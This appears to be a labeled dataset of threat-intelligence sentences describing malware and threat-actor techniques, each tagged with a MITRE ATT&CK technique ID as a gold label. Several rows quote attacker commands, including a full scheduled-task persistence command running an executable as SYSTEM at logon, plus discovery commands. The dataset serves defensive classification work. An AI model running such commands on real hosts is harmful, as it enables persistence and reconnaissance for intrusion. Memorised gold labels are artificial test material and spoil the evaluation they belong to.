Rover searches for files on attached removable drives based on a predefined list of file extensions every five seconds.,['T1025 - Data from Removable Media'],golden
A Night Dragon DLL included an XOR-encoded section.,['T1027 - Obfuscated Files or Information'],golden
APIs and strings in some TYPEFRAME variants are RC4 encrypted. Another variant is encoded with XOR.,['T1027 - Obfuscated Files or Information'],golden
APT39 has used malware to drop encrypted CAB files.,['T1027 - Obfuscated Files or Information'],golden
APT41 used VMProtected binaries in multiple intrusions.,['T1027 - Obfuscated Files or Information'],golden
Agent Tesla has had its code obfuscated in an apparent attempt to make analysis difficult. Agent Tesla has used the Rijndael symmetric encryption algorithm to encrypt strings.,['T1027 - Obfuscated Files or Information'],golden
"Amadey has obfuscated strings such as antivirus vendor names, domains, files, and others.",['T1027 - Obfuscated Files or Information'],golden
BITTER has used a RAR SFX dropper to deliver malware.,['T1027 - Obfuscated Files or Information'],golden
BackConfig has used compressed and decimal encoded VBS scripts.,['T1027 - Obfuscated Files or Information'],golden
Bisonal's DLL file and non-malicious decoy file are encrypted with RC4 and some function name strings are obfuscated.,['T1027 - Obfuscated Files or Information'],golden
"BoxCaon used the ""StackStrings"" obfuscation technique to hide malicious functionalities.",['T1027 - Obfuscated Files or Information'],golden
"Bundlore has obfuscated data with base64, AES, RC4, and bz2.",['T1027 - Obfuscated Files or Information'],golden
Carbon encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.,['T1027 - Obfuscated Files or Information'],golden
Configuration data used by Rising Sun has been encrypted using an RC4 stream algorithm.,['T1027 - Obfuscated Files or Information'],golden
DOGCALL is encrypted using single-byte XOR.,['T1027 - Obfuscated Files or Information'],golden
Daserf uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.,['T1027 - Obfuscated Files or Information'],golden
"Dust Storm has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.",['T1027 - Obfuscated Files or Information'],golden
"Ecipekac can use XOR, AES, and DES to encrypt loader shellcode.",['T1027 - Obfuscated Files or Information'],golden
"Empire has the ability to obfuscate commands using ""Invoke-Obfuscation"".",['T1027 - Obfuscated Files or Information'],golden
Epic heavily obfuscates its code to make analysis more difficult.,['T1027 - Obfuscated Files or Information'],golden
Final1stspy obfuscates strings with base64 encoding.,['T1027 - Obfuscated Files or Information'],golden
"FunnyDream can Base64 encode its C2 address stored in a template binary with the `xyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw_-` or
`xyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw_=` character sets.",['T1027 - Obfuscated Files or Information'],golden
Fysbis has been encrypted using XOR and RC4.,['T1027 - Obfuscated Files or Information'],golden
HyperBro can be delivered encrypted to a compromised host.,['T1027 - Obfuscated Files or Information'],golden
IcedID has utilzed encrypted binaries and base64 encoded strings.,['T1027 - Obfuscated Files or Information'],golden
Inception has encrypted malware payloads dropped on victim machines with AES and RC4 encryption.,['T1027 - Obfuscated Files or Information'],golden
Kazuar is obfuscated using the open source ConfuserEx protector. Kazuar also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.,['T1027 - Obfuscated Files or Information'],golden
Ke3chang has used Base64-encoded shellcode strings.,['T1027 - Obfuscated Files or Information'],golden
Kimsuky has obfuscated binary strings including the use of XOR encryption and Base64 encoding. Kimsuky has also modified the first byte of DLL implants targeting victims to prevent recognition of the executable file format.,['T1027 - Obfuscated Files or Information'],golden
Kobalos encrypts all strings using RC4 and bundles all functionality into a single function call.,['T1027 - Obfuscated Files or Information'],golden
Leafminer obfuscated scripts that were used on victim machines.,['T1027 - Obfuscated Files or Information'],golden
MiniDuke can use control flow flattening to obscure code.,['T1027 - Obfuscated Files or Information'],golden
Mofang has compressed the ShimRat executable within malicious email attachments. Mofang has also encrypted payloads before they are downloaded to victims.,['T1027 - Obfuscated Files or Information'],golden
"Most of the strings in ADVSTORESHELL are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.",['T1027 - Obfuscated Files or Information'],golden
Mustang Panda has delivered initial payloads hidden using archives and encoding measures.,['T1027 - Obfuscated Files or Information'],golden
NOKKI uses Base64 encoding for strings.,['T1027 - Obfuscated Files or Information'],golden
OSX_OCEANLOTUS.D encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.,['T1027 - Obfuscated Files or Information'],golden
Patchwork has obfuscated a script with Crypto Obfuscator.,['T1027 - Obfuscated Files or Information'],golden
Penquin has encrypted strings in the binary for obfuscation.,['T1027 - Obfuscated Files or Information'],golden
"Pisloader obfuscates files by splitting strings into smaller sub-strings and including ""garbage"" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.",['T1027 - Obfuscated Files or Information'],golden
RainyDay has downloaded as a XOR-encrypted payload.,['T1027 - Obfuscated Files or Information'],golden
Ryuk can use anti-disassembly and code transformation obfuscation techniques.,['T1027 - Obfuscated Files or Information'],golden
SDBbot has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.,['T1027 - Obfuscated Files or Information'],golden
SUNBURST strings were compressed and encoded in Base64. SUNBURST also obfuscated collected system information using a FNV-1a + XOR algorithm.,['T1027 - Obfuscated Files or Information'],golden
Saint Bot has been obfuscated to help avoid detection.,['T1027 - Obfuscated Files or Information'],golden
Small Sieve has the ability to use a custom hex byte swapping encoding scheme combined with an obfuscated Base64 function to protect program strings and Telegram credentials.,['T1027 - Obfuscated Files or Information'],golden
Stuxnet uses encrypted configuration blocks and writes encrypted files to disk.,['T1027 - Obfuscated Files or Information'],golden
TA551 has used obfuscated variable names in a JavaScript configuration file.,['T1027 - Obfuscated Files or Information'],golden
TajMahal has used an encrypted Virtual File System to store plugins.,['T1027 - Obfuscated Files or Information'],golden
The PowerShell script with the RogueRobin payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.,['T1027 - Obfuscated Files or Information'],golden
The SMOKEDHAM source code is embedded in the dropper as an encrypted string.,"['T1027 - Obfuscated Files or Information', 'T1027.009 - Embedded Payloads']",golden
The WastedLocker payload includes encrypted strings stored within the .bss section of the binary file.,['T1027 - Obfuscated Files or Information'],golden
Transparent Tribe has dropped encoded executables on compromised hosts.,['T1027 - Obfuscated Files or Information'],golden
TrickBot uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.,['T1027 - Obfuscated Files or Information'],golden
VERMIN is obfuscated using the obfuscation tool called ConfuserEx.,['T1027 - Obfuscated Files or Information'],golden
Zox has been encoded with Base64.,['T1027 - Obfuscated Files or Information'],golden
"menuPass has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.",['T1027 - Obfuscated Files or Information'],golden
A variant of Emissary appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
APT32 includes garbage code to mislead anti-malware software and researchers.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
Moafee has been known to employ binary padding.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
POWERSTATS has used useless code blocks to counter analysis.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
WastedLocker contains junk code to increase its entropy and hide the actual code.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
BLINDINGCAN has been packed with the UPX packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Bazar has a variant with a packed payload.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Dark Caracal has used UPX to pack Bandook.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Donut can generate packed code modules.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
"GALLIUM packed some payloads using different types of packers, both known and custom.",['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
IcedID has packed and encrypted its loader module.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Lucifer has used UPX packed binaries.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Misdat was typically packed using UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Mongall has been packed with Themida.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
TeamTNT has used UPX and Ezuri packer to pack its binaries.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
TrickBot leverages a custom packer to obfuscate its functionality.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Uroburos uses a custom packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
VERMIN is initially packed.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Valak has used packed DLL payloads.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
jRAT payloads have been packed.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
yty packs a plugin with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
PolyglotDuke can use steganography to hide C2 information in images.,['T1027.003 - Steganography'],golden
TA551 has hidden encoded data for malware DLLs in a PNG.,['T1027.003 - Steganography'],golden
Tropic Trooper has used JPG files with encrypted payloads to mask their backdoor routines and evade detection.,['T1027.003 - Steganography'],golden
FoggyWeb can compile and execute source code sent to the compromised AD FS server via a specific HTTP POST.,['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],golden
MuddyWater has used the .NET csc.exe tool to compile executables from downloaded C# code.,['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],golden
"Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.",['T1027.005 - Indicator Removal from Tools'],golden
Operation Wocao has edited variable names within the Impacket suite to avoid automated detection.,['T1027.005 - Indicator Removal from Tools'],golden
ComRAT has embedded a XOR encrypted communications module inside the orchestrator module.,['T1027.009 - Embedded Payloads'],golden
"Cobalt Strike can set its ""beacon"" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration.",['T1029 - Scheduled Transfer'],golden
"ComRAT has been programmed to sleep outside local business hours (9 to 5, Monday to Friday).",['T1029 - Scheduled Transfer'],golden
Linfo creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.,['T1029 - Scheduled Transfer'],golden
Shark can pause C2 communications for a specified time.,['T1029 - Scheduled Transfer'],golden
"RDAT can upload a file via HTTP POST response to the C2 split into 102,400-byte portions. RDAT can also download data from the C2 which is split into 81,920-byte portions.",['T1030 - Data Transfer Size Limits'],golden
APT19 used an HTTP malware variant and a Port 22 malware variant to collect the victim’s username.,['T1033 - System Owner/User Discovery'],golden
APT37 identifies the victim username.,['T1033 - System Owner/User Discovery'],golden
Agent Tesla can collect the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],golden
BISCUIT has a command to gather the username from the system.,['T1033 - System Owner/User Discovery'],golden
Bumblebee has the ability to identify the user name.,['T1033 - System Owner/User Discovery'],golden
Cannon can gather the username from the system.,['T1033 - System Owner/User Discovery'],golden
CreepySnail can execute `getUsername` on compromised systems.,['T1033 - System Owner/User Discovery'],golden
Cryptoistic can gather data on the user of a compromised host.,['T1033 - System Owner/User Discovery'],golden
DarkWatchman has collected the username from a victim machine.,['T1033 - System Owner/User Discovery'],golden
Denis enumerates and collects the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],golden
Explosive has collected the username from the infected host.,['T1033 - System Owner/User Discovery'],golden
"Frankenstein has enumerated hosts, gathering username, machine name, and administrative permissions information.",['T1033 - System Owner/User Discovery'],golden
Gazer obtains the current user's security identifier.,['T1033 - System Owner/User Discovery'],golden
HEXANE has run `whoami` on compromised machines to identify the current user.,['T1033 - System Owner/User Discovery'],golden
InvisiMole lists local users and session information.,['T1033 - System Owner/User Discovery'],golden
Ixeshe collects the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],golden
LitePower can determine if the current user has admin privileges.,['T1033 - System Owner/User Discovery'],golden
Lokibot has the ability to discover the username on the infected host.,['T1033 - System Owner/User Discovery'],golden
MuddyWater has used malware that can collect the victim’s username.,['T1033 - System Owner/User Discovery'],golden
PowerDuke has commands to get the current user's name and SID.,['T1033 - System Owner/User Discovery'],golden
SILENTTRINITY can gather a list of logged on users.,['T1033 - System Owner/User Discovery'],golden
Sandworm Team has collected the username from a compromised host.,['T1033 - System Owner/User Discovery'],golden
ShadowPad has collected the username of the victim system.,['T1033 - System Owner/User Discovery'],golden
Spark has run the whoami command and has a built-in command to identify the user logged in.,['T1033 - System Owner/User Discovery'],golden
Turian can retrieve usernames.,['T1033 - System Owner/User Discovery'],golden
Windshift has used malware to identify the username on a compromised host.,['T1033 - System Owner/User Discovery'],golden
ZxShell can collect the owner and organization information from the target workstation.,['T1033 - System Owner/User Discovery'],golden
yty collects the victim’s username.,['T1033 - System Owner/User Discovery'],golden
APT29 has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They have also used IP addresses originating from the same country as the victim for their VPN infrastructure.,['T1036 - Masquerading'],golden
Accounts created by Dragonfly masqueraded as legitimate service accounts.,['T1036 - Masquerading'],golden
BRONZE BUTLER has masked executables with document file icons including Word and Adobe PDF.,['T1036 - Masquerading'],golden
"During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.",['T1036 - Masquerading'],golden
FatDuke has attempted to mimic a compromised user's traffic by using the same user agent as the installed browser.,['T1036 - Masquerading'],golden
"FoggyWeb can masquerade the output of C2 commands as a fake, but legitimately formatted WebP file.",['T1036 - Masquerading'],golden
OilRig has used .doc file extensions to mask malicious executables.,['T1036 - Masquerading'],golden
RTM has been delivered as archived Windows executable files masquerading as PDF documents.,['T1036 - Masquerading'],golden
TA551 has masked malware DLLs as dat and jpg files.,['T1036 - Masquerading'],golden
TRITON attempts to write a dummy program into memory if it fails to reset the Triconex controller.,['T1036 - Masquerading'],golden
ZIRCONIUM has spoofed legitimate applications in phishing lures and changed file extensions to conceal  installation of malware.,['T1036 - Masquerading'],golden
BRONZE BUTLER has used Right-to-Left Override to deceive victims into executing several strains of malware.,['T1036.002 - Right-to-Left Override'],golden
menuPass has renamed certutil and moved it to a different location on the system to avoid detection based on use of the tool.,['T1036.003 - Masquerading: Rename System Utilities'],golden
"Attor's dispatcher disguises itself as a legitimate task (i.e., the task name and description appear legitimate).",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"During Frankenstein, the threat actors named a malicious scheduled task ""WinUpdate"" for persistence.",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
Fox Kitten has named the task for a reverse proxy lpupdate to appear legitimate.,['T1036.004 - Masquerading: Masquerade Task or Service'],golden
InnaputRAT variants have attempted to appear legitimate by adding a new service named OfficeUpdateService.,['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"Kwampirs establishes persistence by adding a new service with the display name ""WMI Performance Adapter Extension"" in an attempt to masquerade as a legitimate WMI service.",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
Lazarus Group has used a scheduled task named `SRCheck` to mask the execution of a malicious .dll.,['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"Maze operators have created scheduled tasks masquerading as ""Windows Update Security"", ""Windows Update Security Patches"", and ""Google Chrome Security Update"" designed to launch the ransomware.",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
Meteor has been disguised as the Windows Power Efficiency Diagnostics report tool.,['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"New services created by RawPOS are made to appear like legitimate Windows services, with names such as ""Windows Management Help Service"", ""Microsoft Support"", and ""Windows Advanced Task Manager"".",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"RTM has named the scheduled task it creates ""Windows Update"".",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"RainyDay has named services and scheduled tasks to appear benign including ""ChromeCheck"" and ""googleupdate.""",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"Some Volgmer variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"TinyTurla has mimicked an existing Windows service by being installed as ""Windows Time Service"".",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"APT39 has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Aoqin Dragon has used fake icons including antivirus and external drives to disguise malicious payloads.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"BackConfig has hidden malicious payloads in ""%USERPROFILE%\Adobe\Driver\dwg\"" and mimicked the legitimate DHCP service binary.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Bisonal has renamed malicious code to `msacm32.dll` to hide within a legitimate library; earlier versions were disguised as `winhelp`.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"GoldMax has used filenames that matched the system name, and appeared as a scheduled task impersonating systems management software within the corresponding ProgramData subfolder.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Ixeshe has used registry values and file names associated with Adobe software, such as AcroRd32.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
KOCTOPUS has been disguised as legitimate software programs associated with the travel and airline industries.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"LightNeuron has used filenames associated with Exchange and Outlook for binary and configuration files, such as ""winmail.dat"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Mis-Type saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
NETWIRE has masqueraded as legitimate software including TeamViewer and macOS Finder.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
NOKKI is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
PROMETHIUM has disguised malicious installer files by bundling them with legitimate software installers.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Pony has used the Adobe Reader icon for the downloaded file to look more trustworthy.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Ramsay has masqueraded as a 7zip installer.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Sibot has downloaded a DLL to the ""C:\windows\system32\drivers\"" folder and renamed it with a "".sys"" extension.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"SideCopy has used a legitimate DLL file name, `Duser.dll` to disguise a malicious remote access tool.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Small Sieve can use variations of Microsoft and Outlook spellings, such as ""Microsift"", in its file names to avoid detection.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Starloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
TEARDROP files had names that resembled legitimate Window file and directory names.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"The Remsec loader implements itself with the name Security Support Provider, a legitimate Windows function. Various Remsec .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. Remsec also disguised malicious modules using similar filenames as custom network encryption software on victims.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Transparent Tribe can mimic legitimate Windows directories by using the same icons and names.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Rocke has installed an ""init.d"" startup script to maintain persistence.",['T1037 - Boot or Logon Initialization Scripts'],golden
"JHUHUGIT has registered a Windows shell script under the Registry key ""HKCU\Environment\UserInitMprLogonScript"" to establish persistence.",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],golden
"HiddenWasp installs reboot persistence by adding itself to ""/etc/rc.local"".",['T1037.004 - Boot or Logon Initialization Scripts: Rc.common'],golden
iKitten adds an entry to the rc.common file for persistence.,['T1037.004 - Boot or Logon Initialization Scripts: Rc.common'],golden
BRONZE BUTLER has exfiltrated files stolen from file shares.,['T1039 - Data from Network Shared Drive'],golden
"Regin appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",['T1040 - Network Sniffing'],golden
Stolen Pencil has a tool to sniff the network for passwords.,['T1040 - Network Sniffing'],golden
ADVSTORESHELL exfiltrates data over the same channel used for C2.,['T1041 - Exfiltration Over C2 Channel'],golden
Amadey has sent victim data to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],golden
BLINDINGCAN has sent user and system information to a C2 server via HTTP POST requests.,['T1041 - Exfiltration Over C2 Channel'],golden
BoxCaon uploads files and data from a compromised host over the existing C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
Carberp has exfiltrated data via HTTP to already established C2 servers.,['T1041 - Exfiltration Over C2 Channel'],golden
Chrommme can exfiltrate collected data via C2.,['T1041 - Exfiltration Over C2 Channel'],golden
"During Operation Wocao, threat actors used the XServer backdoor to exfiltrate data.",['T1041 - Exfiltration Over C2 Channel'],golden
GoldenSpy has exfiltrated host environment information to an external C2 domain via port 9006.,['T1041 - Exfiltration Over C2 Channel'],golden
Goopy has the ability to exfiltrate data over the Microsoft Outlook C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
HAWKBALL has sent system information and files over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
Kevin can send data from the victim host through a DNS C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
Lazarus Group has exfiltrated data and files over a C2 channel through its various tools and malware.,['T1041 - Exfiltration Over C2 Channel'],golden
Lokibot has the ability to initiate contact with command and control (C2) to exfiltrate stolen data.,['T1041 - Exfiltration Over C2 Channel'],golden
NETEAGLE is capable of reading files over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
"Penquin can execute the command code ""do_upload"" to send files to C2.",['T1041 - Exfiltration Over C2 Channel'],golden
PingPull has the ability to exfiltrate stolen victim data through its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
"PowerShower has used a PowerShell document stealer module to pack and exfiltrate .txt, .pdf, .xls or .doc files smaller than 5MB that were modified during the past two days.",['T1041 - Exfiltration Over C2 Channel'],golden
REvil can exfiltrate host and malware information to C2 servers.,['T1041 - Exfiltration Over C2 Channel'],golden
SUGARDUMP has sent stolen credentials and other data to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],golden
Spark has exfiltrated data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
Squirrelwaffle has exfiltrated victim data using HTTP POST requests to its C2 servers.,['T1041 - Exfiltration Over C2 Channel'],golden
"ThiefQuest exfiltrates targeted file extensions in the ""/Users/"" folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.",['T1041 - Exfiltration Over C2 Channel'],golden
WarzoneRAT can send collected victim data to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],golden
Wizard Spider has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.,['T1041 - Exfiltration Over C2 Channel'],golden
ZIRCONIUM has exfiltrated files via the Dropbox API C2.,['T1041 - Exfiltration Over C2 Channel'],golden
Zebrocy has exfiltrated data to the designated C2 server using HTTP POST requests.,['T1041 - Exfiltration Over C2 Channel'],golden
APT41 used a malware variant called WIDETONE to conduct port scans on specified subnets.,['T1046 - Network Service Discovery'],golden
"BackdoorDiplomacy has used SMBTouch, a vulnerability scanner, to determine whether a target is vulnerable to EternalBlue malware.",['T1046 - Network Service Discovery'],golden
"Chimera has used the ""get -b <start ip> -e <end ip> -p"" command for network scanning as well as a custom Python tool  packed into a Windows executable named Get.exe to scan IP ranges for HTTP.",['T1046 - Network Service Discovery'],golden
Fox Kitten has used tools including NMAP to conduct broad scanning to identify open ports.,['T1046 - Network Service Discovery'],golden
Hildegard has used masscan to look for kubelets in the internal Kubernetes network.,['T1046 - Network Service Discovery'],golden
Leafminer scanned network services to search for vulnerabilities in the victim system.,['T1046 - Network Service Discovery'],golden
MURKYTOP has the capability to scan for open ports on hosts in a connected network.,['T1046 - Network Service Discovery'],golden
P.A.S. Webshell can scan networks for open ports and listening services.,['T1046 - Network Service Discovery'],golden
Remsec has a plugin that can perform ARP scanning as well as port scanning.,['T1046 - Network Service Discovery'],golden
Threat Group-3390 actors use the Hunter tool to conduct network service discovery for vulnerable systems.,['T1046 - Network Service Discovery'],golden
"Tropic Trooper used ""pr"" and an openly available tool to scan for open ports on target systems.",['T1046 - Network Service Discovery'],golden
APT34 has used WMI for execution.,['T1047 - Windows Management Instrumentation'],golden
Action RAT can use WMI to gather AV products installed on an infected host.,['T1047 - Windows Management Instrumentation'],golden
"During FunnyDream, the threat actors used `wmiexec.vbs` to run remote commands.",['T1047 - Windows Management Instrumentation'],golden
FIVEHANDS can use WMI to delete files on a  target machine.,['T1047 - Windows Management Instrumentation'],golden
Leviathan has used WMI for execution.,['T1047 - Windows Management Instrumentation'],golden
Olympic Destroyer uses WMI to help propagate itself across a network.,['T1047 - Windows Management Instrumentation'],golden
Operation Wocao has used WMI to execute commands.,['T1047 - Windows Management Instrumentation'],golden
PoshC2 has a number of modules that use WMI to execute tasks.,['T1047 - Windows Management Instrumentation'],golden
"PowerSploit's ""Invoke-WmiCommand"" CodeExecution module uses WMI to execute and retrieve the output from a PowerShell payload.",['T1047 - Windows Management Instrumentation'],golden
QakBot can execute WMI queries to gather information.,['T1047 - Windows Management Instrumentation'],golden
Sibot has used WMI to discover network connections and configurations. Sibot has also used the Win32_Process class to execute a malicious DLL.,['T1047 - Windows Management Instrumentation'],golden
Stealth Falcon malware gathers system information via Windows Management Instrumentation (WMI).,['T1047 - Windows Management Instrumentation'],golden
StoneDrill has used the WMI command-line (WMIC) utility to run tasks.,['T1047 - Windows Management Instrumentation'],golden
The Deep Panda group is known to utilize WMI for lateral movement.,['T1047 - Windows Management Instrumentation'],golden
The DustySky dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.,['T1047 - Windows Management Instrumentation'],golden
"menuPass has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.",['T1047 - Windows Management Instrumentation'],golden
"Chaes has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.",['T1048 - Exfiltration Over Alternative Protocol'],golden
TeamTNT has sent locally staged files with collected credentials to C2 servers using cURL.,['T1048 - Exfiltration Over Alternative Protocol'],golden
Rclone can exfiltrate data over SFTP or HTTPS via WebDAV.,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],golden
APT33 has used FTP to exfiltrate files (separately from the C2 channel).,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],golden
KONNI has used FTP to exfiltrate reconnaissance data out.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],golden
"APT1 used the ""net use"" command to get a listing on network connections.",['T1049 - System Network Connections Discovery'],golden
APT3 has a tool that can enumerate current network connections.,['T1049 - System Network Connections Discovery'],golden
"Earth Lusca employed a PowerShell script called RDPConnectionParser to read and filter the Windows event log “Microsoft-Windows-TerminalServices-RDPClient/Operational”
(Event ID 1024) to obtain network information from RDP connections. Earth Lusca has also used netstat from a compromised system to obtain network connection information.",['T1049 - System Network Connections Discovery'],golden
"Flagpro has been used to execute ""netstat -ano"" on a compromised host.",['T1049 - System Network Connections Discovery'],golden
"GALLIUM used ""netstat -oan"" to obtain information about the victim network connections.",['T1049 - System Network Connections Discovery'],golden
HEXANE has used netstat to monitor connections to specific ports.,['T1049 - System Network Connections Discovery'],golden
MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine.,['T1049 - System Network Connections Discovery'],golden
"POWRUNER may collect active network connections by running ""netstat -an"" on a victim.",['T1049 - System Network Connections Discovery'],golden
Remsec can obtain a list of active connections and open ports.,['T1049 - System Network Connections Discovery'],golden
"SpeakUp uses the ""arp -a"" command.",['T1049 - System Network Connections Discovery'],golden
"Turla surveys a system upon check-in to discover active local network connections using the ""netstat -an"", ""net use"", ""net file"", and ""net session"" commands. Turla RPC backdoors have also enumerated the IPv4 TCP connection table via the ""GetTcpTable2"" API call.",['T1049 - System Network Connections Discovery'],golden
jRAT can list network connections.,['T1049 - System Network Connections Discovery'],golden
StrifeWater has create a scheduled task named `Mozilla\Firefox Default Browser Agent 409046Z0FF4A39CB` for persistence.,['T1053 - Scheduled Task/Job'],golden
"Threat Group-3390 actors use at to schedule tasks to run self-extracting RAR archives, which install HTTPBrowser or PlugX on other victims on a network.",['T1053.002 - Scheduled Task/Job: At'],golden
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.,['T1053.003 - Scheduled Task/Job: Cron'],golden
Xbash can create a cronjob for persistence if it determines it is on a Linux system.,['T1053.003 - Scheduled Task/Job: Cron'],golden
"APT29 used ""scheduler"" and ""schtasks"" to create new tasks on remote hosts as part of lateral movement. They have manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. APT29 also created a scheduled task to maintain SUNSPOT persistence when the host booted during the 2020 SolarWinds intrusion. They previously used named and hijacked scheduled tasks to also establish persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Agent Tesla  has achieved persistence via scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"An APT3 downloader creates persistence by creating the following scheduled task: ""schtasks /create /tn ""mysc"" /tr C:\Users\Public\test.exe /sc ONLOGON /ru ""System"""".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Bazar can create a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
